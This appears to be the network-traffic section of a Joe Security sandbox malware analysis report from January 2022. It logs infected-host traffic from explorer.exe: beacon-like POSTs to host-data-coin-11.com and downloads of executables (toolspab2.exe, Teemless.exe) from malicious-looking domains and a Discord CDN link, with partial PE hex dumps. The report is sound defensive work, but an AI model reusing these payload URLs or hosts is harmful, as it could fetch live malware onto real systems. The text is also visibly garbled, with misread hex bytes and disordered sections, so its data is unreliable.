</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Jan 6, 2022 13741
08:10:01.497446060 CET

Jan 6, 2022 13742
08:10:01.581808090 CET

Session ID Source IP
59 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 13742

08:10:01.666280031 CET

Jan 6, 2022 13743
08:10:01.760637045 CET

Session ID Source IP
6 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 115

08:08:50.143276930 CET

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49804

Direction

ouT

Source Port
49713

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://qgbodwwvauw.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 269

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:10:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://awjegmrw.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 256

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:10:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process
139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vvcfghtgay.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 319

Host: host-data-coin-11.com
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Timestamp

Jan 6, 2022
08:08:50.254925966 CET

Session ID

60

Timestamp

Jan 6, 2022
08:10:01.858304024 CET

Jan 6, 2022
08:10:01.939187050 CET

Session ID

61

Timestamp

Session ID
62

Timestamp

Session ID
63

Timestamp

Session ID
64

Timestamp

Session ID
65

Timestamp

Session ID

66

Timestamp

kBytes
transferred

116

Source IP

192.168.2.3
kBytes

transferred

13744

13745

Source IP

192.168.2.3

kBytes
transferred

Source IP
192.168.2.3

kBytes
transferred

Source IP
192.168.2.3

kBytes
transferred

Source IP
192.168.2.3

kBytes
transferred

Source IP
192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49805

Direction

ouT

Source Port

49806

Direction

Source Port
49808

Direction

Source Port
49809

Direction

Source Port
49811

Direction

Source Port
49812

Direction

Source Port

49813

Direction

Data

HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Thu, 06 Jan 2022 07:08:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 0d Oa 14 00 00 00 7b fa f7 11 b5 69 2b 2c 47 fa Oe a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d Oa Od Oa
Data Ascii: 19{i+,GO0

Destination IP

139.28.222.172

Data
POST /HTTP/1.1

Destination Port

80

Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xgrpufkyfv.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Length: 361
Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Thu, 06 Jan 2022 07:10:01 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 0
Connection: close

Destination IP

139.28.222.172

Data

Destination IP
139.28.222.172

Data

Destination IP
139.28.222.172

Data

Destination IP
139.28.222.172

Data

Destination IP
139.28.222.172

Data

Destination IP

139.28.222.172

Data

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe

Process

C:\Windows\explorer.exe
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Session ID Source IP Source Port

67 192.168.2.3 49814
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

68 192.168.2.3 49815
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

69 192.168.2.3 49817
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

7 192.168.2.3 49714
kBytes

Timestamp transferred Direction

Jan 6, 2022 117 ouT

08:08:50.341533899 CET

Jan 6, 2022 117 IN

08:08:50.424434900 CET

Session ID Source IP Source Port

70 192.168.2.3 49818
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

71 192.168.2.3 49819
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

72 192.168.2.3 49820
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

73 192.168.2.3 49823

Copyright Joe Security LLC 2022

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

141.8.193.236 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ssbgc.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 203

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9
ladl 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 el Oe 88 16 95 el 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d Oa
30 0d Oa 0d Oa

Data Ascii: 461:8200jpYJRg%XQAc}ycO

Destination IP  Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

74 192.168.2.3 49824 139.28.222.172 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

75 192.168.2.3 49825 139.28.222.172 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.3 49715 139.28.222.172 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Jan 6, 2022 118 ouT GET /downloads/toolspab2.exe HTTP/1.1

08:08:50.803955078 CET Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: privacytools-foryou-777.com

Jan 6, 2022 120 IN HTTP/1.1 200 OK

08:08:50.867235899 CET Server: nginx/1.20.1
Date: Thu, 06 Jan 2022 07:08:50 GMT
Content-Type: application/x-msdos-program
Content-Length: 307712
Connection: close
Last-Modified: Thu, 06 Jan 2022 07:08:02 GMT
ETag: "4b200-5d4e487f6726a"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 fd da db ac b9 bb b5 ff b9 bb b5 ff b9 bb b5 ff a7 €9 20 ff a8 bb b5 ff a7 e9 36 ff ca
bb b5 ff 9e 7d ce ff ba bb b5 ff b9 bb b4 ff 7d bb b5 ff a7 e9 31 ff 80 bb b5 ff a7 €9 21 ff b8 bb b5 ff a7 €9 24 ff b8 bb b5 ff
52 69 63 68 b9 bb b5 ff 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 00 dc 84 5f 00 00 00 00 00 00 00 00 e0 00 02 01
0Ob 01 09 00 00 b8 03 00 00 04 02 00 00 00 00 00 d0 cd 01 00 00 10 00 00 00 dO 03 00 00 00 40 00 00 10 00 00 00 02 00
00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 47 €6 04 00 02 00 00 80 00 00 10 00 00 10
00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 b7 03 00 28 00 00 00 00 40 05 00 18
90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €0 05 00 78 1b 00 00 20 13 00 00 1c 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8a 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00
00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fe b7
03 00 00 10 00 00 00 b8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 04
20 01 00 00 d0 03 00 00 14 00 00 00 bc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 66 65 67 00 00 00 00
05 00 00 00 00 00 05 00 00 02 00 00 00 dO 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 68 61 72 75 6d 65
73 4b 00 00 00 00 10 05 00 00 02 00 00 00 d2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 64 61 78 65 63
61 74 ea 00 00 00 00 20 05 00 00 02 00 00 00 d4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 6b 6f 6d 00
00 00 00 93 0d 00 00 00 30 05 00 00 Oe 00 00 00 d6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72
63 00 00 00 18 90 00 00 00 40 05 00 00 92 00 00 00 e4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65
6¢ 6f 63 00 00 Oc 3a 00 00 00 e0 05 00 00 3c 00 00 00 76 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 50 ba 03 00 62 ba 03 00 74 ba 03 00 8a ba 03 00 9a ba 03 00 aa ba 03 00 c6 ba 03 00 da ba 03 00 ee ba 03
00 fe ba 03 00 18 bb 03 00 32 bb 03 00 4a bb 03 00 5e
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ 6}}1!$RichPEL_@ GT(@x 8@.text ".data @.fe
g@.harumesK@.daxecat @.kom0@.rsrc@@ @.reloc:<v@BPbt2J"

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.3 49716 139.28.222.172 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data
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kBytes

Timestamp transferred
Jan 6, 2022 438
08:08:53.131047964 CET

Jan 6, 2022 439

08:08:53.219311953 CET

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.3
kBytes

Timestamp transferred

2022-01-06 07:09:00 UTC 0

2022-01-06 07:09:00 UTC 0

2022-01-06 07:09:00 UTC 0

Session ID Source IP

1 192.168.2.3
kBytes

Timestamp transferred

2022-01-06 07:09:08 UTC 0

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49731

Direction

ouT

Source Port
49762

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://aamxt.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 282

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:08:53 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

185.233.81.115 443 C:\Windows\explorer.exe

Data

GET /32739433.dat?iddqd=1 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 185.233.81.115

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:00 GMT
Content-Type: text/html
Content-Length: 153

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e
78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx/1.20.1</center></body></html>

Destination IP Destination Port Process

162.159.133.233 443 C:\Windows\explorer.exe

Data

GET /attachments/928021103304134716/928022474753474631/Teemless.exe HTTP/1.1
Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com
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kBytes

Timestamp transferred

2022-01-06 07:09:08 UTC 0

2022-01-06 07:09:08 UTC 1

2022-01-06 07:09:08 UTC 2

2022-01-06 07:09:08 UTC 3

2022-01-06 07:09:08 UTC 4

2022-01-06 07:09:08 UTC 6

2022-01-06 07:09:08 UTC 7

2022-01-06 07:09:08 UTC 8

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Date: Thu, 06 Jan 2022 07:09:08 GMT

Content-Type: application/x-msdos-program

Content-Length: 538624

Connection: close

CF-Ray: 6c931e800d1c6964-FRA

Accept-Ranges: bytes

Age: 84735

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Teemless.exe

ETag: "9d7eb9be3b7f3a023430123ba099b0b0"

Expires: Fri, 06 Jan 2023 07:09:08 GMT

Last-Modified: Tue, 04 Jan 2022 20:29:59 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1641328199849354

X-goog-hash: crc32c=3nl44A==

X-goog-hash: md5=nX65vjt/OglOMBI70IJmwsA==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

X-goog-stored-content-length: 538624

X-GUploader-UploadID: ADPycdu1DO410N0OUNnSuirlfPJEp38AABzDQYXXGrIHmxTh8cdEIDVtgEihiNFQGrdY7U5D5-
pI3dZZbrvYT2VH8uX2g

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
70 73 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 45 55 7a 55 36 56 4f 39 74 25 32 46 58 43 5a 6b 6e 6b 56 44 52 37 79 4e 31 32 48 6d 64 34 6d 66 56 32 70 51 7a 77
6225 32 42 32 65 61 30 5a 66 25 32 42 7a 37 4b 36 67 79 6a 6f 79 66 73 45 42 6b 6d 69 57 53 36 51 70 71 38 54 72 73
65 49 6d 55 4c 71 45 6d 57 6f 77 42 4c 77 5a 77 4c 69 71 6d 75 61 5a 4a 33 39 70 56 4a 41 65 62 36 56 39 53 68 4f 65 66
48 43 64 35 44 38 78 34 73 34 32 59 51 70 44 30 51 5a 55 4b 35 6f 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22
3a 2263 66 2d 6e 65 6¢ 22 2¢ 22 6d 61 78 5f 61 67 65 22 3a

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comVreport\/\v3?s=EUzU6VO9t%2FXCZknkVD
R7yN12HmMd4mfV2pQzwh%2B2ea0Zf%2Bz7K6gyjoyfSEBKkmiWS6Qpg8TrseimULgEmWowBLwZwLigmuazJ39pVJIAeb6
V9ShOefHCd5D8x4s542YQpD0QZUK50Q%3D%3D"}],"group":"cf-nel","max_age":

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01

4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 97 Oa dO c9 00 00 00 00 00 00 00 00 e0 00 Oe 01 Ob 01

30 00 00 30 08 00 00 06 00 00 00 00 00 00 de 4e 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELOON "@ @

Data Raw: 00 00 1a 28 a7 00 00 06 2a 00 7e 28 a7 00 00 06 28 5d 01 00 06 38 00 00 00 00 72 33 0a 00 70 80 19 00 00
04 3800 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00
12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a
00 12 00 00 00 2a 00 00 00 13 30 Oe 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00
00 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00
06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00
00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00

Data Ascii: (*~((18r3p8 CCROHHCCCCCCCECEEE

Data Raw: 1f Oc 06 28 90 00 00 06 12 03 11 04 11 05 11 06 1f Oc 1d 1f 0d 06 28 90 00 00 06 12 06 09 11 04 11 05 1f Od 1f
Oc 1f Oe 06 28 90 00 00 06 12 05 11 06 09 11 04 1f Oe 1f 11 1f Of 06 28 90 00 00 06 12 04 11 05 11 06 09 1f Of 1f 16 1f 10
062890000006 12031104 11051106 17 1b 1f 11 06 28 91 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 91 00
000612051106 09 11 04 1f Ob 1f Oe 1f 13 06 28 91 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 91 00 00 06 12
03110411051106 1b 1b 1f 1506 28 91 00 00 06 12 06 09 11 04 11 05 1f Oa 1f 09 1f 16 06 28 91 00 00 06 12 05 11 06
09 11 04 1f Of 1f Oe 1f 17 06 28 91 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 91 00 00 06 12 03 11 04 11 0511
06 1f 09 1b 1f 19 06 28 91 00 00 06 12 06 09 11 04

Data Ascii: ((((((((((«

